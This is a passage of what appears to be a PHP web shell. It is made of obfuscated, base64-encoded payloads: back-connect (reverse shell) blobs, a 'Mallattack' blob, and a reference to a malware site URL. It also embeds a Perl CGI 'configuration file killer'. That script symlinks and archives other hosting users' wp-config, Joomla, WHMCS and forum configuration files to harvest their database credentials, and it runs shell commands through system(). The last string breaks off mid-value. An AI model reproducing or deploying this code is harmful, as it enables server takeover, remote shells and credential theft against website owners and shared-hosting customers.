  537. $back_connect="fZFRS8MwFIXfB/sPWSw2hUrnqyPC0CpD3KStvqh0XRpcsE1KkoKF/XiTtCIV6tu55+Z89yY5W0St
  538. ktGB8aihsprPWkVBKsgn1av5zCN1iQGsOv4Fbak6pWmNgU/JUQC4b3lRU3BR7OFqcFhptMOpo28j
  539. S2whVulCflCNvXVy//K6fLdWI+SPcekMVpSlxIxTnRdacDSEAnA6gZJRBGMphbwC3uKNw8AhXEKZ
  540. ja3ImclYagh61n9JKbTAhu7EobN3Qb4mjW/byr0BSnc3D3EWgqe7fLO1whp5miXx+tHMcNHpGURw
  541. Tskvpd92+rxoKEdpdrvZhgBen/exUWf3nE214iT52+r/Cw3/5jaqhKL9iFFpuKPawILVNw==";
  542. $back_connect_c="XVHbagIxEH0X/IdhhZLUWF1f1YKIBelFqfZJliUm2W7obiJJLLWl/94k29rWhyEzc+Z2TjpSserA
  543. BYyt41JfldftVuc3d7R9q9mLcGeAEk5660sVAakc1FQqFBxqnhkBVlIDl95/3Wa43fpotyCABR95
  544. zzpzYA7CaMq5yaUCK1VAYpup7XaYZpPE1NArIBmBRzgVtVYoJQMcR/jV3vKC1rI6wgSmN/niYb75
  545. i+21cR4pnVYWUaclivcMM/xvRDjhysbHVwde0W+K0wzH9bt3YfRPingClVCnim7a/ZuJC0JTwf3A
  546. RkD0fR+B9XJ2m683j/PpPYHFavW43CzzzWyFIfbIAhBiWinBHCo4AXSmFlxiuPB3E0/gXejiHMcY
  547. jwcYguIAe2GMNijZ9jL4GYqTSB9AvEmHGjk/m19h1CGvPoHIY5A1Oh2tE3XIe1bxKw77YTyt6T2F
  548. 6f9wGEPxJliFkv5Oqr4tE5LYEnoyIfDwdHcXK1ilrfAdUbPPLw==";
  549. // Malware Site
  550. $malsite = "http://fightagent.ru";
  551. $self=$_SERVER["PHP_SELF"];
  552.  
  553. //Mallattack
  554. $mal = "eNqV0UtrAjEQAOC70P8wYHsRyRa8FYpQSR9QXAmCBxHJrkMSjDNhk/pA/O+uFuyx5javj4GZLrzJj68xzLhZTRqM8aGjcNe4hJKMI4SSbpUyJMcUwZHFNr/VR0wreDp+TqeTpZLvUkl1AtHTcS1q3ojeI8zHo36pFv8Jw2w8ZoBNpMuK+0HlyOQJ77aYJzT7TOCT3rqYdB7Dfd0280xE3dRWHLRl/lV/RP14bEfAphReisJ4rrQPvGt/TcboZK8BXy9eOBLBhiG9Dp5hrvrfizOeH7rw";
  555. //PerlConfig
  556. $gantengers="IyEvdXNyL2Jpbi9tYW5udSAtSS91c3IvbG9jYWwvYmFuZG1pbg0KcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7DQpwcmludCc8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtdHJhbnNpdGlvbmFsLmR0ZCI+DQo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtTGFuZ3VhZ2UiIGNvbnRlbnQ9ImVuLXVzIiAvPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiIC8+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KLmR6IHsNCmZvbnQtZmFtaWx5OiBUYWhvbWE7DQpmb250LXNpemU6IDE0cHg7DQpmb250LXdlaWdodDogYm9sZDsNCmNvbG9yOiAjMzMzM2ZmOw0KdGV4dC1hbGlnbjogY2VudGVyOw0KdGV4dC1zaGFkb3c6IGJsYWNrIDBweCAwcHggMnB4Ow0KfQ0KI2NoZWNrb3V0dGV4dGFyZWEgew0KDQp3ZWJraXQtYm9yZGVyLXJhZGl1czogMTVweDsNCg0KfQ0KOmhvdmVyI2NoZWNrb3V0dGV4dGFyZWEge29wYWNpdHk6IDAuNjsgYmFja2dyb3VuZC1jb2xvcjozMzMzMzN9DQo8L3N0eWxlPg0KPC9oZWFkPg0KJzsNCnN1YiBsaWx7DQooJHVzZXIpID0gQF87DQokbXNyID0gcXh7cHdkfTsNCiRrb2xhPSRtc3IuIi8iLiR1c2VyOw0KJGtvbGE9fnMvXG4vL2c7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1zaG9wLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL29zL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictc2hvcC1vcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vc2NvbS9pbmNsdWRlcy9jb25maWd1cmUucGhwJywka29sYS4nLW9zY29tLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL29zY29tbWVyY2UvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1vc2NvbW1lcmNlLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL29zY29tbWVyY2VzL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictb3Njb21tZXJjZXMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2hvcC9pbmNsdWRlcy9jb25maWd1cmUucGhwJywka29sYS4nLXNob3AyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Nob3BwaW5nL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictc2hvcC1zaG9wcGluZy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zYWxlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictc2FsZS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hbWVtYmVyL2NvbmZpZy5pbmMucGhwJywka29sYS4nLWFtZW1iZXIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlnLmluYy5waHAnLCRrb2xhLictYW1lbWJlcjIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWVtYmVycy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1tZW1iZXJzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy5waHAnLCRrb2xhLictMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLWZvcnVtLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtcy9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLWZvcnVtcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsJGtvbGEuJy01LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCRrb2xhLictNC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd3Avd3AtY29uZmlnLnBocCcsJGtvbGEuJy13cDEzLXdwLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL1dQL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3AxMy1XUC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC9iZXRhL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3AxMy13cC1iZXRhLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JldGEvd3AtY29uZmlnLnBocCcsJGtvbGEuJy13cDEzLWJldGEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvcHJlc3Mvd3AtY29uZmlnLnBocCcsJGtvbGEuJy13cDEzLXByZXNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dvcmRwcmVzcy93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMtd29yZHByZXNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL1dvcmRwcmVzcy93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMtV29yZHByZXNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dvcmRwcmVzcy9iZXRhL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3AxMy13b3JkcHJlc3MtYmV0YS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXdzL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3AxMy1uZXdzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL25ldy93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMtbmV3LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcsJGtvbGEuJy13cC1ibG9nLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JldGEvd3AtY29uZmlnLnBocCcsJGtvbGEuJy13cC1iZXRhLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2dzL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3AtYmxvZ3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9tZS93cC1jb25maWcucGhwJywka29sYS4nLXdwLWhvbWUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvcHJvdGFsL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3AtcHJvdGFsLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3NpdGUvd3AtY29uZmlnLnBocCcsJGtvbGEuJy13cC1zaXRlLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21haW4vd3AtY29uZmlnLnBocCcsJGtvbGEuJy13cC1tYWluLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Rlc3Qvd3AtY29uZmlnLnBocCcsJGtvbGEuJy13cC10ZXN0LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZfZ2xvYmFsLnBocCcsJGtvbGEuJy02LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywka29sYS4nLTcudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY29ubmVjdC5waHAnLCRrb2xhLictOC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ta19jb25mLnBocCcsJGtvbGEuJy05LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvY29uZmlnLnBocCcsJGtvbGEuJy0xMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wcm90YWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhLXByb3RhbC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb28vY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Ntcy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1qb29tbGEtY21zLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3NpdGUvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhLXNpdGUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFpbi9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1qb29tbGEtbWFpbi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXdzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYS1uZXdzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL25ldy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1qb29tbGEtbmV3LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvbWUvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhLWhvbWUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy12Yi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC92YjMvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy12YjMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy1pbmNsdWRlcy12Yi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG0vY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictd2htMTUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2VudHJhbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy13aG0tY2VudHJhbC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG0vd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictd2htLXdobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9XSE1DUy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy13aG0tV0hNQ1MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htYy9XSE0vY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictd2htYy1XSE0udHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictd2htY3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1zdXBwb3J0LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHAvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictc3VwcC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zZWN1cmUvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictc3VjdXJlLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3NlY3VyZS93aG0vY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictc3VjdXJlLXdobS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zZWN1cmUvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictc3VjdXJlLXdobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NwYW5lbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jcGFuZWwudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvcGFuZWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictcGFuZWwudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9zdC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1ob3N0LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvc3RpbmcvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictaG9zdGluZy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob3N0cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1ob3N0cy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1qb29tbGEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VibWl0dGlja2V0LnBocCcsJGtvbGEuJy13aG1jczIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jbGllbnRzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jbGllbnQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50ZXMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictY2xpZW50ZXMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50ZS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jbGllbnQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50c3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jbGllbnRzdXBwb3J0LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictYmlsbGluZy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9tYW5hZ2UvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictd2htLW1hbmFnZS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9teS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy13aG0tbXkudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbXlzaG9wL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXdobS1teXNob3AudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywka29sYS4nLXplbmNhcnQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvemVuY2FydC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAnLCRrb2xhLictc2hvcC16ZW5jYXJ0LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Nob3AvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywka29sYS4nLXNob3AtWkNzaG9wLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL1NldHRpbmdzLnBocCcsJGtvbGEuJy1zbWYudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc21mL1NldHRpbmdzLnBocCcsJGtvbGEuJy1zbWYyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL1NldHRpbmdzLnBocCcsJGtvbGEuJy1zbWYtZm9ydW0udHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW1zL1NldHRpbmdzLnBocCcsJGtvbGEuJy1zbWYtZm9ydW1zLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3VwbG9hZC9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLXVwLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3VwL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictdXAyLnR4dCcpOw0KfQ0KaWYgKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgJ1BPU1QnKSB7DQpyZWFkKFNURElOLCAkYnVmZmVyLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsNCn0gZWxzZSB7DQokYnVmZmVyID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQp9DQpAcGFpcnMgPSBzcGxpdCgvJi8sICRidWZmZXIpOw0KZm9yZWFjaCAkcGFpciAoQHBhaXJzKSB7DQooJG5hbWUsICR2YWx1ZSkgPSBzcGxpdCgvPS8sICRwYWlyKTsNCiRuYW1lID1+IHRyLysvIC87DQokbmFtZSA9fiBzLyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkvcGFjaygiQyIsIGhleCgkMSkpL2VnOw0KJHZhbHVlID1+IHRyLysvIC87DQokdmFsdWUgPX4gcy8lKFthLWZBLUYwLTldW2EtZkEtRjAtOV0pL3BhY2soIkMiLCBoZXgoJDEpKS9lZzsNCiRGT1JNeyRuYW1lfSA9ICR2YWx1ZTsNCn0NCmlmICgkRk9STXtwYXNzfSBlcSAiIil7DQpwcmludCAnDQo8Ym9keSBjbGFzcz0iZHoiIGJnY29sb3I9ImJsYWNrIj4NCjxwPjxmb250IGNvbG9yPXdoaXRlPmNvbmZpZ3VyYXRpb24gZmlsZSBraWxsZXI8L3A+DQoNCjxzcGFuPjxmb250IGNvbG9yPSJ3aGl0ZSI+c3VwcGx5IHVzZXJuYW1lcyB0byBzeW1saW5rIGNvbmZpZ3VyYXRpb24gZmlsZXM8L2ZvbnQ+PC9zcGFuPjxiciAvPg0KPGJyIC8+PGZvcm0gbWV0aG9kPSJwb3N0Ij48c3Ryb25nPg0KPHRleHRhcmVhIGlkPSJjaGVja291dHRleHRhcmVhIiBuYW1lPSJwYXNzIiBzdHlsZT0iYm9yZGVyOjJweCBkYXNoZWQgcmVkOyB3aWR0aDogMzAwcHg7IGhlaWdodDogMjAwcHg7IGJhY2tncm91bmQtY29sb3I6YmxhY2s7IGZvbnQtZmFtaWx5OlRhaG9tYTsgZm9udC1zaXplOjlwdDsgY29sb3I6IHJlZCIgPjwvdGV4dGFyZWE+PGJyIC8+DQombmJzcDsNCjxwPg0KPGlucHV0IG5hbWU9IlN1Ym1pdDEiIHR5cGU9InN1Ym1pdCIgdmFsdWU9InNwaW4gaXQgOC0pIiBzdHlsZT0iYm9yZGVyOjFweCBkb3R0ZWQgIzAwRkZGRjsgd2lkdGg6IDk5OyBmb250LWZhbWlseTpUYWhvbWE7IGZvbnQtc2l6ZToxMHB0OyBjb2xvcjogYmxhY2s7IHRleHQtdHJhbnNmb3JtOnVwcGVyY2FzZTsgaGVpZ2h0OjIzOyBiYWNrZ3JvdW5kLWNvbG9yOiNGNEY0RjQ7IiAvPjwvcD4NCjwvZm9ybT48L3N0cm9uZz4NCic7DQp9ZWxzZXsNCkBsaW5lcyA9PCRGT1JNe3Bhc3N9PjsNCiR5ID0gQGxpbmVzOw0Kb3BlbiAoTVlGSUxFLCAiPnRhci50bXAiKTsNCnByaW50IE1ZRklMRSAidGFyIC1jemYgIi4kRk9STXt0YXJ9LiIudGFyICI7DQpmb3IgKCRrYT0wOyRrYTwkeTska2ErKyl7DQp3aGlsZShAbGluZXNbJGthXSA9fiBtLyguKj8pOng6L2cpew0KJmxpbCgkMSk7DQpwcmludCBNWUZJTEUgJDEuIi50eHQgIjsNCmZvcigka2Q9MTska2Q8MTg7JGtkKyspew0KcHJpbnQgTVlGSUxFICQxLiRrZC4iLnR4dCAiOw0KfQ0KfQ0KfQ0KcHJpbnQnPGJvZHkgY2xhc3M9ImR6IiBiZ2NvbG9yPSJibGFjayI+DQo8aDI+ZG9uZSA8L2gyPg0KPHA+Jm5ic3A7PC9wPic7DQppZigkRk9STXt0YXJ9IG5lICIiKXsNCm9wZW4oSU5GTywgInRhci50bXAiKTsNCkBsaW5lcyA9PElORk8+IDsNCmNsb3NlKElORk8pOw0Kc3lzdGVtKEBsaW5lcyk7DQpwcmludCc8cD48YSBocmVmPSInLiRGT1JNe3Rhcn0uJy50YXIiPjxmb250IGNvbG9yPSIjMDBGRjAwIj4NCjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IG5vbmUiPjwvc3Bhbj48L2ZvbnQ+PC9hPjwvcD4nOw0KfQ0KfQ0KcHJpbnQiDQo8L2JvZHk+DQo8L2h0bWw+";
  557. //Jumping
  558. $jumper="zVPdbtMwFL6ftHc4tSLZ0dKmwF2bpEgILkFar2CbghPbxCiJI9thK9MeiLfkOFnLygXXKErkfj/n15V1Y4BknlethLrlzuW3pO5EZR5uSZF5i6+A2rRu4D1SrxElW7i8YJHrIAfd6/Kb9Iw6rmTZGSFpDHkO6xh2qJpF1ChFNyC0ZOS9tcZuYH+UI/2pz1IvCvzY8AmlFJcXmdA/ThXpXhnMvB8t7/bNm7bNUqQL+Ev2nR84yuCL6Sotl9fGePgFZCW4l4x+ponXnWRxvCIIRg8feSfxuF3GMMcjcWjNSV8GYdnqTnu2RvBtNGCGe4HVKjPIntFU+jqdQZpQSyenVsAWz9IYHkPHwMjN8g6mtmED78wo+q8eriUX8CLG/zSBp7C4YaywWW4tPzDEotFJ686Q2vTqDND4a72F+0a3ki2UNIodZxE/TpfB2zBAvC/uxGwhDA29Bbxar1EXDSbkQS0eWPAkdDOPdyqix5IDP1ZIzfw6CaZQgtD2Z7hwaWM6mdLVybGiKXbU6rpsfNem9Lgt9ifmAn00VBpw7UqLKwqbYFPUQEytlsPomtnmkpMbk79kMVcy28I4wxPpq6twVgbj1g08RwDu5tlOE5Lh30hvPpixF7C4g4xDY6XKye6Qn7V03g4p/kGmWcqLrLIFnTe7K34D";
  559. //domain viewer
  560. $private="y8kvS1WozC9VCE7MKc5IVLDSAgA=";
  561. $zonekerupuk="rVVtb9s2EP5uwP/hqgWRDTiWnWRrIcvChjUFhmZJYbtfNhcGLZ8sIhQpUFRtt8h/31EvsfPidgVKwBB5R94999xDGqNEOe1WkJudwLDdMrg1TCODr+2Wxpx/QV8qiaN2K1JCaR9+GZQDyLJk0d1aq0Kuzipn7RsBtFuxkuasPP8mMyOoN8TlsGeVXqH2h9kWciX4CjYJNwgPnjOBsfHh8rl/w1cm8X+9vMi2tEqQrxPjXw4G5fK+3eIyK4yF/xjwT8F7HNXxeghS4DX0BhFKgzoMYqVTSNEkajWeOx9up7O5Q/6/udZKg287ggIjA+XJsfukmKOlfLOMbxdxrITaXhutu3S4IFmKBD4tMZfwA5UZrmT4hSRzlgRevSwZKMsJg6Wm5Y0yPEYNNxTBh6BqmdllNpxV4NyBTLAIEyUoNRnfoy6y4o7sddIVxuSnrGCLJcPFOSGoor9VKeMyB98ugwdFV0zOnUpA8NvrNyQZqAUEF4NzWh4kqILYoF4Too7/GG9eLFNuEX9morCGKcrVPs5aVcx4tuN2YjHRzyFpkOxyNAvDU1wITlG